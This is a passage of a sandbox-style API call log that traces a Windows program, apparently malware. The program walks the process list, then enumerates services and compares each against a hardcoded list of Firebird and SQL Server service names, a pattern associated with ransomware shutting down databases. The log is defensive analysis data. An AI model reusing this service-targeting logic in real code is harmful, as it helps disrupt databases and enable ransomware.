lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0102.531] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0102.531] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0102.532] lstrlenW (lpString="powers mixture.exe") returned 18 [0102.532] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0102.533] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0102.533] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0102.534] lstrlenW (lpString="bachelor.exe") returned 12 [0102.534] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0102.535] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0102.535] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0102.536] lstrlenW (lpString="indication wage paying.exe") returned 26 [0102.536] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0102.537] lstrlenW (lpString="thee pub emission.exe") returned 21 [0102.537] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0102.539] lstrlenW (lpString="dllhost.exe") returned 11 [0102.539] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0102.540] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0102.540] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0102.541] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0102.541] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0102.542] lstrlenW (lpString="upgrading.exe") returned 13 [0102.542] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0102.543] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0102.543] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0102.544] lstrlenW (lpString="russell.exe") returned 11 [0102.544] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0102.545] lstrlenW (lpString="conhost.exe") returned 11 [0102.545] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0102.546] lstrlenW (lpString="conhost.exe") returned 11 [0102.546] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.547] lstrlenW (lpString="svchost.exe") returned 11 [0102.547] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0102.548] lstrlenW (lpString="1csrss.exe") returned 10 [0102.548] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0102.549] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0102.549] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0102.550] lstrlenW (lpString="conhost.exe") returned 11 [0102.550] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0102.550] lstrlenW (lpString="cmd.exe") returned 7 [0102.551] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0102.599] CloseHandle (hObject=0x27c) returned 1 [0102.599] Sleep (dwMilliseconds=0x1f4) [0104.295] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5ee980 [0104.296] EnumServicesStatusExW (in: hSCManager=0x5ee980, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0104.574] GetLastError () returned 0xea [0104.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1d48) returned 0x60fb70 [0104.574] EnumServicesStatusExW (in: hSCManager=0x5ee980, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60fb70, cbBufSize=0x1d48, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60fb70, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0104.575] CloseServiceHandle (hSCObject=0x5ee980) returned 1 [0104.575] lstrlenW (lpString="Appinfo") returned 7 [0104.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0104.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0104.575] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0104.575] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0104.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0104.576] lstrlenW (lpString="AppXSvc") returned 7 [0104.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0104.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0104.576] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0104.576] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0104.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0104.576] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0104.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0104.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0104.576] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0104.576] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0104.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0104.576] lstrlenW (lpString="Audiosrv") returned 8 [0104.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0104.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0104.576] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0104.576] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0104.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0104.576] lstrlenW (lpString="BFE") returned 3 [0104.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0104.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0104.577] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0104.577] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0104.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0104.577] lstrlenW (lpString="BITS") returned 4 [0104.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0104.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0104.577] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0104.577] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0104.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0104.577] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0104.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0104.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0104.577] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0104.577] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0104.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0104.577] lstrlenW (lpString="CDPSvc") returned 6 [0104.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0104.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0104.577] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0104.577] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0104.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0104.577] lstrlenW (lpString="ClickToRunSvc") returned 13 [0104.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0104.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0104.577] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0104.577] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0104.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0104.578] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0104.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0104.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0104.578] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0104.578] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0104.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0104.578] lstrlenW (lpString="CryptSvc") returned 8 [0104.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0104.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0104.578] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0104.578] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0104.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0104.578] lstrlenW (lpString="DcomLaunch") returned 10 [0104.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0104.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0104.578] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0104.578] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0104.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0104.578] lstrlenW (lpString="DeviceAssociationService") returned 24 [0104.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0104.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0104.578] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0104.578] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0104.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0104.578] lstrlenW (lpString="Dhcp") returned 4 [0104.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0104.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0104.579] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0104.579] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0104.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0104.579] lstrlenW (lpString="Dnscache") returned 8 [0104.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0104.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0104.579] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0104.579] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0104.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0104.579] lstrlenW (lpString="DoSvc") returned 5 [0104.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0104.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0104.579] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0104.579] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0104.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0104.579] lstrlenW (lpString="DPS") returned 3 [0104.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0104.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0104.579] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0104.579] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0104.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0104.579] lstrlenW (lpString="DusmSvc") returned 7 [0104.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0104.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0104.579] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0104.580] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0104.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0104.580] lstrlenW (lpString="EventLog") returned 8 [0104.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0104.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0104.580] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0104.580] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0104.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0104.580] lstrlenW (lpString="EventSystem") returned 11 [0104.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0104.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0104.580] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0104.580] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0104.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0104.580] lstrlenW (lpString="FontCache") returned 9 [0104.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0104.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0104.580] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0104.580] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0104.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0104.580] lstrlenW (lpString="gpsvc") returned 5 [0104.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0104.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0104.750] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0104.750] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0104.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0104.750] lstrlenW (lpString="iphlpsvc") returned 8 [0104.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0104.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0104.750] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0104.750] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0104.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0104.751] lstrlenW (lpString="KeyIso") returned 6 [0104.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0104.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0104.751] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0104.751] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0104.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0104.751] lstrlenW (lpString="LanmanServer") returned 12 [0104.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0104.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0104.751] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0104.751] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0104.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0104.751] lstrlenW (lpString="LanmanWorkstation") returned 17 [0104.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0104.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0104.751] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0104.751] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0104.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0104.755] lstrlenW (lpString="lfsvc") returned 5 [0104.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0104.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0104.755] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0104.755] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0104.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0104.755] lstrlenW (lpString="lmhosts") returned 7 [0104.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0104.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0104.756] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0104.756] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0104.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0104.756] lstrlenW (lpString="LSM") returned 3 [0104.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0104.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0104.756] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0104.756] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0104.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0104.756] lstrlenW (lpString="MpsSvc") returned 6 [0104.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0104.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0104.756] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0104.756] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0104.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0104.756] lstrlenW (lpString="NcbService") returned 10 [0104.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0104.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0104.757] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0104.757] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0104.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0104.757] lstrlenW (lpString="netprofm") returned 8 [0104.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0104.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0104.757] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0104.757] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0104.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0104.757] lstrlenW (lpString="NgcSvc") returned 6 [0104.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0104.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0104.757] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0104.757] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0104.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0104.757] lstrlenW (lpString="NlaSvc") returned 6 [0104.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0104.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0104.758] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0104.758] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0104.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0104.758] lstrlenW (lpString="nsi") returned 3 [0104.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0104.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0104.758] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0104.758] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0104.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0104.758] lstrlenW (lpString="PcaSvc") returned 6 [0104.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0104.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0104.758] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0104.758] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0104.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0104.758] lstrlenW (lpString="PlugPlay") returned 8 [0104.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0104.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0104.759] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0104.759] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0104.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 